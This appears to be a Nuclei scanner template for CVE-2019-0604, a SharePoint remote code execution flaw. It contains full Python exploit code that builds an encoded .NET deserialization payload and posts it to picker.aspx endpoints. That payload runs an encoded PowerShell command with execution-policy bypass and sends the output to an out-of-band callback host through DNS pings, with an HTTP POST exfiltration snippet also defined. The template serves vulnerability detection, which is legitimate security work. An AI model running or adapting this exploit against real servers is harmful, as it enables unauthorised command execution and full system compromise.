id: CVE-2019-0604 info: name: Microsoft SharePoint - Remote Code Execution author: tree-chtsec,pszyszkowski severity: critical description: | Microsoft SharePoint contains a remote code execution caused by failure to check the source markup of an application package, letting remote attackers execute arbitrary code, exploit requires sending malicious application package. impact: | Remote attackers can execute arbitrary code on the server, potentially leading to full system compromise. remediation: | Fixed in security update published Feb 12, 2019 reference: - https://github.com/Gh0st0ne/weaponized-0604 - https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2019-0604 - https://nvd.nist.gov/vuln/detail/cve-2019-0604 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2019-0604 cwe-id: CWE-20 epss-score: 0.94416 epss-percentile: 0.99982 metadata: verified: true vendor: microsoft product: sharepoint shodan-query: cpe:"cpe:2.3:a:microsoft:sharepoint_server" tags: cve,cve2019,sharepoint,microsoft,rce,kev,vkev,vuln variables: OAST: "{{interactsh-url}}" marker: "{{randbase(5)}}" code: - engine: - py - python3 #pip install lxml{required} source: | import os import sys import base64 import argparse from copy import deepcopy import urllib3 import requests import lxml.html import codecs from xml.sax.saxutils import escape urllib3.disable_warnings() default_ua = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36' part1 = 'System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider,PresentationFramework,Version=4.0.0.0,Culture=neutral,PublicKeyToken=31bf3856ad364e35]],System.Data.Services,Version=4.0.0.0,Culture=neutral,PublicKeyToken=b77a5c561934e089:' part2 = 'Parse%s' content = ' %(base)s %(arg)s ' paths = [os.getenv("Path"), '/_vti_pvt/picker.aspx', '/_app_bin/picker.aspx', '/_controltemplates/picker.aspx', '/_login/picker.aspx', '/_windows/picker.aspx', '/_layouts/15/picker.aspx', '/_wpresources/picker.aspx', '/_vti_bin/picker.aspx'] host = os.getenv('RootURL') domain = os.getenv('OAST') user = os.getenv('username') pswd = os.getenv('password') def html_escape(s): _ = escape(s) _ = _.replace('"', '"') return _ def _0604(cmd): if ' ' in cmd and '|' not in cmd[:cmd.find(' ')]: # avoid command problem (TODO : find a better solution) _bin, _arg = cmd.split(' ', 1) else: _bin = 'cmd' _arg = '/c ' + cmd payload = part1 + part2 % html_escape(content % dict(base=html_escape(_bin), arg=html_escape(_arg))) o = ''.join(codecs.encode(codecs.encode(x, 'utf-16be'), 'hex').decode('ascii')[::-1] for x in payload) return '__bp' + format(len(o), 'x')[::-1] + o def main(): auth = '' cmd = 'echo ' + os.getenv('marker') if (user != None) and (pswd != None): auth = user + ':' + pswd ntlm = True else: ntlm = False if host is None: print("missing target. You must specify -u ") exit(1) if domain is not None: print('OOB: "%s" will be executed in POWERSHELL context' % (cmd)) __var_raw = '$a' __var_hex = '$b' __dns_code = ''' $bl = %(v_hex)s.length;$l = 60;$i = 0; while($i -lt $bl) { $l = if(($bl - $i) -gt $l) { $l } else { $bl - $i }; $v = %(v_hex)s.substring($i, $l); ping -n 1 "$i.$v.%(domain)s"; $i += $l; } '''.strip() % dict(domain=domain, v_hex=__var_hex) __post_code = ''' iwr -Uri %(domain)s -Method post -Body %(v_raw)s; '''.strip() % dict(domain=domain, v_raw=__var_raw) __code = ''' %(v_raw)s = %(cmd)s; $Encode = new-object "System.Text.UTF8Encoding"; $bytearray = $Encode.GetBytes(%(v_raw)s); %(v_hex)s = ""; Foreach ($i in $bytearray) { %(v_hex)s = %(v_hex)s + $i.ToString("X").PadLeft(2,"0"); } '''.strip() % dict(cmd=cmd, v_raw=__var_raw, v_hex=__var_hex) __code += __dns_code __code = base64.b64encode(__code.encode('UTF-16LE')).decode() cmd = 'powershell -ep bypass -enc %s' % (__code) print(cmd) if ntlm: from requests_ntlm import HttpNtlmAuth _auth = HttpNtlmAuth(*auth.split(':', 1)) else: _auth = None _headers = {'User-Agent': default_ua} req_kwargs = { 'headers': _headers, 'auth': _auth, 'verify': False } def auto_sp_attack(kwargs): for item in paths: url = os.getenv('RootURL') + item # get sharepoint version (2019,2016 / 2013 / 2010) res = requests.get(url, **kwargs) spversion = res.headers.get('MicrosoftSharePointTeamServices', '16').split('.', 1)[0] + '.0.0.0' kwargs['params'] = dict(PickerDialogType='Microsoft.SharePoint.WebControls.ItemPickerDialog,Microsoft.SharePoint,Version=%s,Culture=neutral,PublicKeyToken=71e9bce111e9429c' % spversion) # get viewstate & ev from picker.aspx if res.status_code != 200: print('%s failed [%s]' % (item, res.status_code)) continue else: break rt = lxml.html.fromstring(res.content) spandata = list(filter(lambda x: x.get('name').endswith('hiddenSpanData'), rt.xpath('//input[contains(@name, "hiddenSpanData")]')))[0].get('name') kwargs['data'] = { '__VIEWSTATE': rt.get_element_by_id('__VIEWSTATE').value if rt.xpath('//input[@id="__VIEWSTATE"]') else '', '__EVENTVALIDATION': rt.get_element_by_id('__EVENTVALIDATION').value if rt.xpath('//input[@id="__EVENTVALIDATION"]') else '', } payload = _0604(cmd) kwargs['data'][spandata] = payload return requests.post(url, **kwargs) attack_fn = auto_sp_attack res = attack_fn(deepcopy(req_kwargs)) if all(s in res.text for s in ['"ms-pickerresultheadertr"', 'Administrators, see the server log for more information.']): print('%s succeded (%s)' % (res.url, res.status_code)) if __name__ == '__main__': main() matchers: - type: dsl dsl: - 'contains(interactsh_protocol, "dns")' - 'contains(interactsh_request, hex_encode(marker))' condition: and # digest: 4b0a00483046022100ae33cec6261808941853fe7583760ac165ec5730653c4f554013aadd30187b74022100c684a75c003915a2b2e474936321837cd69dc4a36fe4189f036c07930d6575f8:922c64590222798bb761d5b6d8e72950